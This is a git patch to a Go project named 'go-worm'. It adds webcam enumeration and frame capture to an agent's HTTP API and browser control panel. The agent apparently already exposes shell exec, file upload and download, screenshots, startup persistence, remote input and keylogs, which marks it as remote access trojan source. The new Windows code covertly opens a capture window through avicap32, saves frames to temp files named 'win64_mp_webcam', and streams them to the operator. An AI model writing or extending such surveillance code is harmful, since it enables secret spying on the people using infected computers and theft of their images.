From dece8b3ebe420baf4355bc39a323899a796a7a52 Mon Sep 17 00:00:00 2001 From: Daniel Legt Date: Sat, 29 Aug 2026 18:34:05 +0300 Subject: [PATCH] Add webcam functionality to the agent's API and web interface. Implement endpoints for listing available webcams and capturing frames, along with corresponding UI elements for device selection and frame display. Update OpenAPI specification to include new webcam features, enhancing user interaction with webcam devices. --- lib/agent/agent.go | 2 + lib/agent/handlers.go | 66 ++++++++++++++ lib/agent/web/app.js | 88 +++++++++++++++++- lib/agent/web/index.html | 28 ++++++ lib/openapi/spec.go | 50 +++++++++++ lib/webcam/bmp.go | 71 +++++++++++++++ lib/webcam/bmp_test.go | 50 +++++++++++ lib/webcam/webcam_stub.go | 25 ++++++ lib/webcam/webcam_windows.go | 170 +++++++++++++++++++++++++++++++++++ 9 files changed, 549 insertions(+), 1 deletion(-) create mode 100644 lib/webcam/bmp.go create mode 100644 lib/webcam/bmp_test.go create mode 100644 lib/webcam/webcam_stub.go create mode 100644 lib/webcam/webcam_windows.go diff --git a/lib/agent/agent.go b/lib/agent/agent.go index f87b151..0794f92 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -75,6 +75,8 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/download", a.handleDownload) mux.HandleFunc("/api/v1/upload", a.handleUpload) mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) + mux.HandleFunc("/api/v1/webcam", a.handleWebcam) + mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame) mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) mux.HandleFunc("/api/v1/input/click", a.handleClick) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 06390e4..040e190 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -24,6 +24,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/openapi" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" "tea.chunkbyte.com/kato/go-worm/lib/startup" + "tea.chunkbyte.com/kato/go-worm/lib/webcam" ) func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) { @@ -290,6 +291,71 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) { _, _ = w.Write(frame.Data) } +func (a *Agent) handleWebcam(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + devices, err := webcam.List() + if err != nil { + helpers.Log.Printf("webcam list: %v", err) + helpers.WriteError(w, http.StatusServiceUnavailable, "webcam list failed") + return + } + if devices == nil { + devices = []webcam.Device{} + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices}) +} + +func (a *Agent) handleWebcamFrame(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format"))) + if format == "" { + format = "jpeg" + } + if format != "png" && format != "jpeg" { + helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg") + return + } + quality := 80 + if raw := r.URL.Query().Get("quality"); raw != "" { + var err error + quality, err = strconv.Atoi(raw) + if err != nil || quality < 1 || quality > config.MaxImageQuality { + helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100") + return + } + } + device := 0 + if raw := r.URL.Query().Get("device"); raw != "" { + var err error + device, err = strconv.Atoi(raw) + if err != nil || device < 0 { + helpers.WriteError(w, http.StatusBadRequest, "device must be 0 or greater") + return + } + } + frame, err := webcam.Capture(device, format, quality) + if err != nil { + if errors.Is(err, webcam.ErrDeviceNotFound) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + helpers.Log.Printf("webcam capture: %v", err) + helpers.WriteError(w, http.StatusServiceUnavailable, "webcam capture failed") + return + } + w.Header().Set("Content-Type", frame.ContentType) + w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data))) + w.Header().Set("X-Webcam-Width", strconv.Itoa(frame.Width)) + w.Header().Set("X-Webcam-Height", strconv.Itoa(frame.Height)) + _, _ = w.Write(frame.Data) +} + func (a *Agent) handleClick(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index c208748..6184efa 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -21,10 +21,16 @@ const videoStop = document.getElementById("video-stop"); const videoInteract = document.getElementById("video-interact"); const videoKeyHint = document.getElementById("video-key-hint"); + const webcamCanvas = document.getElementById("webcam-canvas"); + const webcamMeta = document.getElementById("webcam-meta"); + const webcamDevice = document.getElementById("webcam-device"); + const webcamStart = document.getElementById("webcam-start"); + const webcamStop = document.getElementById("webcam-stop"); let objectUrls = []; let videoRunning = false; let videoTabActive = false; + let webcamRunning = false; let selectedLogName = ""; let lastMonitor = { left: 0, top: 0, width: 0, height: 0 }; @@ -308,6 +314,76 @@ releaseRemoteModifiers().catch((err) => showError(err.message)); } + async function refreshWebcams() { + const res = await api("/api/v1/webcam"); + const data = await res.json(); + const devices = data.devices || []; + const prev = webcamDevice.value; + webcamDevice.replaceChildren(); + if (!devices.length) { + const opt = document.createElement("option"); + opt.value = ""; + opt.textContent = "No webcams found"; + webcamDevice.append(opt); + webcamMeta.textContent = "No capture devices"; + return; + } + for (const device of devices) { + const opt = document.createElement("option"); + opt.value = String(device.index); + opt.textContent = `${device.index}: ${device.name}${device.version ? ` (${device.version})` : ""}`; + webcamDevice.append(opt); + } + if ([...webcamDevice.options].some((o) => o.value === prev)) { + webcamDevice.value = prev; + } + webcamMeta.textContent = `${devices.length} device(s)`; + } + + async function pullWebcamFrame() { + const device = webcamDevice.value; + if (device === "") throw new Error("no webcam selected"); + const quality = clamp(document.getElementById("webcam-quality").value, 1, 100); + const res = await api( + `/api/v1/webcam/frame?device=${encodeURIComponent(device)}&format=jpeg&quality=${encodeURIComponent(quality)}` + ); + const blob = await res.blob(); + const bitmap = await createImageBitmap(blob); + if (webcamCanvas.width !== bitmap.width || webcamCanvas.height !== bitmap.height) { + webcamCanvas.width = bitmap.width; + webcamCanvas.height = bitmap.height; + } + webcamCanvas.getContext("2d").drawImage(bitmap, 0, 0); + const w = Number(res.headers.get("X-Webcam-Width") || bitmap.width); + const h = Number(res.headers.get("X-Webcam-Height") || bitmap.height); + webcamMeta.textContent = `${w}×${h} · device ${device}`; + bitmap.close(); + } + + async function startWebcam() { + if (webcamRunning) return; + webcamRunning = true; + webcamStart.disabled = true; + webcamStop.disabled = false; + while (webcamRunning) { + const started = Date.now(); + try { + await pullWebcamFrame(); + } catch (err) { + showError(err.message); + } + if (!webcamRunning) break; + const fps = clamp(document.getElementById("webcam-fps").value, 1, 10); + await sleep(Math.max(0, 1000 / fps - (Date.now() - started))); + } + } + + function stopWebcam() { + webcamRunning = false; + webcamStart.disabled = false; + webcamStop.disabled = true; + } + async function pullVideoFrame() { const quality = clamp(document.getElementById("video-quality").value, 1, 100); const monitor = clamp(document.getElementById("video-monitor").value, 0, 64); @@ -590,6 +666,16 @@ startVideo().catch((err) => showError(err.message)); }); videoStop.addEventListener("click", () => stopVideo()); + document.getElementById("webcam-refresh").addEventListener("click", () => { + refreshWebcams().catch((err) => showError(err.message)); + }); + webcamStart.addEventListener("click", () => { + startWebcam().catch((err) => showError(err.message)); + }); + webcamStop.addEventListener("click", () => stopWebcam()); + document.getElementById("webcam-snap").addEventListener("click", () => { + pullWebcamFrame().catch((err) => showError(err.message)); + }); videoCanvas.addEventListener("click", (event) => { sendClick(event, "left").catch((err) => showError(err.message)); }); @@ -620,5 +706,5 @@ listKeylogs().catch((err) => showError(err.message)); }); - Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message)); + Promise.all([loadHealth(), loadStatus(), listFiles(""), refreshWebcams()]).catch((err) => showError(err.message)); })(); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 072298d..6b7958b 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -134,6 +134,14 @@ background: #111; } #video-canvas.view-only { cursor: default; } + #webcam-canvas { + width: 100%; + height: auto; + display: block; + border: 1px solid var(--line); + border-radius: 8px; + background: #111; + } label.check { display: inline-flex; align-items: center; @@ -216,6 +224,7 @@ + @@ -294,6 +303,25 @@ Toggle sticky modifiers · type anywhere on this tab +
+
+ + + + + + + +
+ +

+
diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go index 2e50022..2df29f5 100644 --- a/lib/openapi/spec.go +++ b/lib/openapi/spec.go @@ -166,6 +166,42 @@ func Spec() map[string]any { }), }, }, + "/api/v1/webcam": map[string]any{ + "get": map[string]any{ + "summary": "List webcams", + "operationId": "listWebcams", + "responses": auth(map[string]any{ + "200": okJSON("Connected capture devices", ref("WebcamList")), + "503": errResp("Webcam enumeration failed"), + }), + }, + }, + "/api/v1/webcam/frame": map[string]any{ + "get": map[string]any{ + "summary": "Capture a webcam frame", + "operationId": "webcamFrame", + "parameters": []map[string]any{ + {"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Device index from /api/v1/webcam"}, + {"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "jpeg"}}, + {"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"}, + }, + "responses": auth(map[string]any{ + "200": map[string]any{ + "description": "Webcam frame", + "headers": map[string]any{ + "X-Webcam-Width": map[string]any{"schema": map[string]string{"type": "integer"}}, + "X-Webcam-Height": map[string]any{"schema": map[string]string{"type": "integer"}}, + }, + "content": map[string]any{ + "image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, + "image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, + }, + }, + "400": errResp("Invalid parameters or device"), + "503": errResp("Webcam capture failed"), + }), + }, + }, "/api/v1/exec": map[string]any{ "post": map[string]any{ "summary": "Run a shell command", @@ -403,6 +439,20 @@ func Spec() map[string]any { "files": map[string]any{"type": "array", "items": ref("KeylogFile")}, }, }, + "WebcamDevice": map[string]any{ + "type": "object", + "properties": map[string]any{ + "index": map[string]any{"type": "integer"}, + "name": map[string]string{"type": "string"}, + "version": map[string]string{"type": "string"}, + }, + }, + "WebcamList": map[string]any{ + "type": "object", + "properties": map[string]any{ + "devices": map[string]any{"type": "array", "items": ref("WebcamDevice")}, + }, + }, }, }, } diff --git a/lib/webcam/bmp.go b/lib/webcam/bmp.go new file mode 100644 index 0000000..c7ac77a --- /dev/null +++ b/lib/webcam/bmp.go @@ -0,0 +1,71 @@ +package webcam + +import ( + "bytes" + "encoding/binary" + "errors" + "fmt" + "image" + "image/jpeg" + "image/png" +) + +func encodeImage(img image.Image, format string, quality int) ([]byte, string, error) { + var buf bytes.Buffer + if format == "jpeg" { + err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality}) + return buf.Bytes(), "image/jpeg", err + } + err := png.Encode(&buf, img) + return buf.Bytes(), "image/png", err +} + +func decodeBMP(data []byte) (*image.RGBA, error) { + if len(data) < 54 || data[0] != 'B' || data[1] != 'M' { + return nil, errors.New("invalid bitmap") + } + offset := binary.LittleEndian.Uint32(data[10:14]) + width := int(int32(binary.LittleEndian.Uint32(data[18:22]))) + heightSigned := int32(binary.LittleEndian.Uint32(data[22:26])) + bits := binary.LittleEndian.Uint16(data[28:30]) + compression := binary.LittleEndian.Uint32(data[30:34]) + if compression != 0 { + return nil, fmt.Errorf("unsupported bmp compression %d", compression) + } + if bits != 24 && bits != 32 { + return nil, fmt.Errorf("unsupported bmp bit depth %d", bits) + } + topDown := heightSigned < 0 + height := int(heightSigned) + if height < 0 { + height = -height + } + if width <= 0 || height <= 0 || int(offset) >= len(data) { + return nil, errors.New("invalid bmp dimensions") + } + bpp := int(bits / 8) + rowSize := (width*bpp + 3) &^ 3 + need := int(offset) + rowSize*height + if need > len(data) { + return nil, errors.New("truncated bmp") + } + img := image.NewRGBA(image.Rect(0, 0, width, height)) + for y := 0; y < height; y++ { + srcY := y + if !topDown { + srcY = height - 1 - y + } + row := data[int(offset)+srcY*rowSize:] + for x := 0; x < width; x++ { + i := x * bpp + b, g, r := row[i], row[i+1], row[i+2] + a := byte(255) + if bpp == 4 { + a = row[i+3] + } + off := (y*width + x) * 4 + img.Pix[off], img.Pix[off+1], img.Pix[off+2], img.Pix[off+3] = r, g, b, a + } + } + return img, nil +} diff --git a/lib/webcam/bmp_test.go b/lib/webcam/bmp_test.go new file mode 100644 index 0000000..6748d4c --- /dev/null +++ b/lib/webcam/bmp_test.go @@ -0,0 +1,50 @@ +package webcam + +import "testing" + +func TestDecodeBMP_roundtripRGB(t *testing.T) { + // 2x2 24-bit BI_RGB bottom-up BMP + row := []byte{ + 0, 0, 255, // BGR red + 0, 255, 0, // green + 0, 0, // pad to 4-byte boundary: 6 bytes -> pad 2 + } + row2 := []byte{ + 255, 0, 0, // blue + 255, 255, 255, // white + 0, 0, + } + pixelData := append(append([]byte{}, row2...), row...) // bottom row first + header := make([]byte, 54) + header[0], header[1] = 'B', 'M' + binaryPutUint32 := func(b []byte, v uint32) { + b[0] = byte(v) + b[1] = byte(v >> 8) + b[2] = byte(v >> 16) + b[3] = byte(v >> 24) + } + binaryPutUint16 := func(b []byte, v uint16) { + b[0] = byte(v) + b[1] = byte(v >> 8) + } + fileSize := uint32(54 + len(pixelData)) + binaryPutUint32(header[2:], fileSize) + binaryPutUint32(header[10:], 54) + binaryPutUint32(header[14:], 40) // DIB header size + binaryPutUint32(header[18:], 2) // width + binaryPutUint32(header[22:], 2) // height (bottom-up) + binaryPutUint16(header[26:], 1) // planes + binaryPutUint16(header[28:], 24) // bpp + + img, err := decodeBMP(append(header, pixelData...)) + if err != nil { + t.Fatal(err) + } + if img.Bounds().Dx() != 2 || img.Bounds().Dy() != 2 { + t.Fatalf("size = %v", img.Bounds()) + } + r, g, b, _ := img.At(0, 0).RGBA() + if r>>8 != 255 || g>>8 != 0 || b>>8 != 0 { + t.Fatalf("pixel 0,0 = %d,%d,%d want red", r>>8, g>>8, b>>8) + } +} diff --git a/lib/webcam/webcam_stub.go b/lib/webcam/webcam_stub.go new file mode 100644 index 0000000..6b4f783 --- /dev/null +++ b/lib/webcam/webcam_stub.go @@ -0,0 +1,25 @@ +//go:build !windows + +package webcam + +import ( + "errors" + + "tea.chunkbyte.com/kato/go-worm/lib/models" +) + +var ErrDeviceNotFound = errors.New("webcam not found") + +type Device struct { + Index int `json:"index"` + Name string `json:"name"` + Version string `json:"version,omitempty"` +} + +func List() ([]Device, error) { + return nil, errors.New("webcam is only available on Windows") +} + +func Capture(index int, format string, quality int) (models.CapturedImage, error) { + return models.CapturedImage{}, errors.New("webcam is only available on Windows") +} diff --git a/lib/webcam/webcam_windows.go b/lib/webcam/webcam_windows.go new file mode 100644 index 0000000..2f99508 --- /dev/null +++ b/lib/webcam/webcam_windows.go @@ -0,0 +1,170 @@ +//go:build windows + +package webcam + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "sync" + "syscall" + "unsafe" + + "tea.chunkbyte.com/kato/go-worm/lib/models" +) + +// ponytail: VFW (avicap32) — works for many UVC cams via WDM mapper; MF would cover more exotic devices. + +var ErrDeviceNotFound = errors.New("webcam not found") + +var ( + avicap32 = syscall.NewLazyDLL("avicap32.dll") + user32 = syscall.NewLazyDLL("user32.dll") + procCapCreateCaptureWindowW = avicap32.NewProc("capCreateCaptureWindowW") + procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW") + procSendMessageW = user32.NewProc("SendMessageW") + procDestroyWindow = user32.NewProc("DestroyWindow") + captureMu sync.Mutex +) + +const ( + wmUser = 0x0400 + wmCapStart = wmUser + wmCapUnicodeStart = wmUser + 100 + wmCapDriverConnect = wmCapStart + 10 + wmCapDriverDisconnect = wmCapStart + 11 + wmCapFileSaveDIBW = wmCapUnicodeStart + 25 + wmCapGrabFrame = wmCapStart + 60 + wmCapSetPreview = wmCapStart + 50 + wmCapSetScale = wmCapStart + 53 + wsPopup = 0x80000000 + maxDrivers = 10 +) + +type Device struct { + Index int `json:"index"` + Name string `json:"name"` + Version string `json:"version,omitempty"` +} + +func List() ([]Device, error) { + var out []Device + for i := 0; i < maxDrivers; i++ { + nameBuf := make([]uint16, 128) + verBuf := make([]uint16, 128) + ok, _, _ := procCapGetDriverDescriptionW.Call( + uintptr(i), + uintptr(unsafe.Pointer(&nameBuf[0])), + uintptr(len(nameBuf)), + uintptr(unsafe.Pointer(&verBuf[0])), + uintptr(len(verBuf)), + ) + if ok == 0 { + continue + } + name := syscall.UTF16ToString(nameBuf) + if name == "" { + continue + } + out = append(out, Device{ + Index: i, + Name: name, + Version: syscall.UTF16ToString(verBuf), + }) + } + return out, nil +} + +func Capture(index int, format string, quality int) (models.CapturedImage, error) { + captureMu.Lock() + defer captureMu.Unlock() + + devices, err := List() + if err != nil { + return models.CapturedImage{}, err + } + found := false + for _, d := range devices { + if d.Index == index { + found = true + break + } + } + if !found { + return models.CapturedImage{}, ErrDeviceNotFound + } + + title, err := syscall.UTF16PtrFromString("win64_mp_webcam") + if err != nil { + return models.CapturedImage{}, err + } + hwnd, _, callErr := procCapCreateCaptureWindowW.Call( + uintptr(unsafe.Pointer(title)), + wsPopup, + 0, 0, 320, 240, + 0, 0, + ) + if hwnd == 0 { + return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr) + } + defer procDestroyWindow.Call(hwnd) + + ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0) + if ok == 0 { + return models.CapturedImage{}, fmt.Errorf("connect webcam %d failed", index) + } + defer procSendMessageW.Call(hwnd, wmCapDriverDisconnect, 0, 0) + + _, _, _ = procSendMessageW.Call(hwnd, wmCapSetPreview, 0, 0) + _, _, _ = procSendMessageW.Call(hwnd, wmCapSetScale, 1, 0) + ok, _, _ = procSendMessageW.Call(hwnd, wmCapGrabFrame, 0, 0) + if ok == 0 { + return models.CapturedImage{}, errors.New("grab frame failed") + } + + tmp, err := os.CreateTemp("", "win64_mp_webcam_*.bmp") + if err != nil { + return models.CapturedImage{}, err + } + tmpPath := tmp.Name() + _ = tmp.Close() + defer os.Remove(tmpPath) + + pathPtr, err := syscall.UTF16PtrFromString(tmpPath) + if err != nil { + return models.CapturedImage{}, err + } + ok, _, _ = procSendMessageW.Call(hwnd, wmCapFileSaveDIBW, 0, uintptr(unsafe.Pointer(pathPtr))) + if ok == 0 { + // Some drivers only accept ANSI SAVEDIB. + ansiPath, err := syscall.BytePtrFromString(filepath.Clean(tmpPath)) + if err != nil { + return models.CapturedImage{}, errors.New("save frame failed") + } + ok, _, _ = procSendMessageW.Call(hwnd, wmCapStart+25, 0, uintptr(unsafe.Pointer(ansiPath))) + if ok == 0 { + return models.CapturedImage{}, errors.New("save frame failed") + } + } + + raw, err := os.ReadFile(tmpPath) + if err != nil { + return models.CapturedImage{}, err + } + img, err := decodeBMP(raw) + if err != nil { + return models.CapturedImage{}, err + } + data, contentType, err := encodeImage(img, format, quality) + if err != nil { + return models.CapturedImage{}, err + } + b := img.Bounds() + return models.CapturedImage{ + ContentType: contentType, + Data: data, + Width: b.Dx(), + Height: b.Dy(), + }, nil +}